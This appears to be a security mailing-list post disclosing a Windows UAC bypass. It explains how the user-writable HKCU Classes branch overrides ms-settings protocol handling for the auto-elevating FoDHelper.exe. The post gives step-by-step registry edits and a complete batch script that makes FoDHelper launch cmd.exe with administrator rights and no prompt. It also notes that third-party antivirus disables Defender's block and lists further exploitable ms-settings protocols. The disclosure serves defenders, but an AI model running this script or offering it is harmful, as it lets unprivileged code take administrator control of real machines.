Hi @ll, with Windows 2000, Microsoft virtualised the [HKEY_CLASSES_ROOT] registry branch: what was just an alias for [HKEY_LOCAL_MACHINE\SOFTWARE\Classes] before became the overlay of [HKEY_LOCAL_MACHINE\SOFTWARE\Classes] and [HKEY_CURRENT_USER\Software\Classes] with the latter having precedence: <https://msdn.microsoft.com/en-us/library/ms724498.aspx> Note: while [HKEY_LOCAL_MACHINE\SOFTWARE\Classes] is writable only by (privileged) administrators, [HKEY_CURRENT_USER\Software\Classes] is writable by the (current) unprivileged user. With Windows Vista they introduced the "security theatre" called "User Account Control" (a far better name is "qUACkery"): <https://blogs.msdn.microsoft.com/uac/2005/12/08/user-account-control/> | User Account Protection was the preliminary name for a core security | component of Windows Vista. The component has now been officially named | User Account Control (UAC). The qUACkery sort of lobotomises administrator accounts and splits their brain^Waccess token: the "shell", i.e. EXPLORER.exe, and all programs run from it use a restricted access token without administrative privileges. For the (not so few) programs which but need administrative privileges, Microsoft introduced a "kill switch" in the application manifest: <https://msdn.microsoft.com/en-us/library/aa374191.aspx> <https://msdn.microsoft.com/en-us/library/bb756929.aspx> | <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> | <security> | <requestedPrivileges> | <requestedExecutionLevel level="requireAdministrator" uiAccess="false" /> | </requestedPrivileges> | </security> | </trustInfo> With this loop^Wwormhole, the virtualised [HKEY_CLASSES_ROOT] introduced with Windows 2000 became but a can of worms: in STANDARD installations of Windows, applications running with administrative privileges, i.e. an integrity level above "Medium", now evaluate registry settings (COM CLSIDs, ProgIDs, URL protocols, ...) which are under control of the unprivileged user. <https://msdn.microsoft.com/en-us/library/ms724498.aspx> | If an application is run with administrator rights and User Account | Control is disabled, the COM runtime ignores per-user COM configuration | and accesses only per-machine COM configuration. <https://msdn.microsoft.com/en-us/library/bb756926.aspx> | Beginning with Windows Vista and Windows Server 2008, if the | integrity level of a process is higher than Medium, the COM runtime | ignores per-user COM configuration and accesses only per-machine | COM configuration. This action reduces the surface area for elevation | of privilege attacks, preventing a process with standard user privileges | from configuring a COM object with arbitrary code and having this code | called from an elevated process. OOPS: COM CLSIDs have been removed from the can of worms. But what about ProgIDs and URL protocols? <https://msdn.microsoft.com/en-us/library/cc144152.aspx> Demonstration: ~~~~~~~~~~~~~~ 1) Start the command processor in the user account created during Windows setup; 2) Execute the "Feature on Demand" helper application FoDHelper.exe (which requires administrative privileges, but elevates SILENTLY), then close the "Immersive Control Panel" window it opened; 3) Add the following registry entries to replace the application run by the elevated FoDHelper.exe from "Immersive Control Panel" to "Windows Command Processor" (or an arbitrary other one): [HKEY_CURRENT_USER\Software\Classes\qUACkery\Shell\Open\Command] @="C:\\Windows\\System32\\Cmd.exe" [HKEY_CURRENT_USER\Software\Classes\MS-Settings\CurVer] @="qUACkery" 4) Execute FoDHelper.exe again; 5) Remove the registry entries created in step 3. If you prefer a batch script: --- quackery.cmd REG.exe ADD "HKEY_CURRENT_USER\Software\Classes\qUACkery\Shell\Open\Command" /VE /T REG_SZ /D "%COMSPEC%" /F REG.exe ADD "HKEY_CURRENT_USER\Software\Classes\MS-Settings\CurVer" /VE /T REG_SZ /D "qUACkery" /F FoDHelper.exe REG.exe DELETE "HKEY_CURRENT_USER\Software\Classes\MS-Settings" /F REG.exe DELETE "HKEY_CURRENT_USER\Software\Classes\qUACkery" /F --- EOF --- OOPS: Windows Defender blocks the execution of FoDHelper.exe Spoiler: installation of another anti-virus, for example McAfee, Bitdefender, Eset, Sophos, Avira, AVG/Avast, TrendMicro, deactivates Windows Defender and lets FoDHelper.com run an arbitrary application elevated, without UAC prompt. stay tuned, and far away from the eternally vulnerable crap oozing out of Redmond Stefan Kanthak PS: finding the applications which call the ProgIDs/URL protocols ms-settings-airplanemode, ms-settings-bluetooth, ms-settings-cellular, ms-settings-connectabledevices, ms-settings-displays-topology, ms-settings-emailandaccounts, ms-settings-language, ms-settings-location, ms-settings-lock, ms-settings-mobilehotspot, ms-settings-notifications, ms-settings-power, ms-settings-privacy, ms-settings-proximity, ms-settings-screenrotation, ms-settings-wifi, ms-settings-workplace is left as an exercise to the reader. PPS: for all these URL protocols, the wise guys from Redmond added the following registry entries to ease their exploitation: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ProtocolExecute\ms-settings] "WarnOnOpen"=dword:00000000 ... [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ProtocolExecute\ms-settings-workplace] "WarnOnOpen"=dword:00000000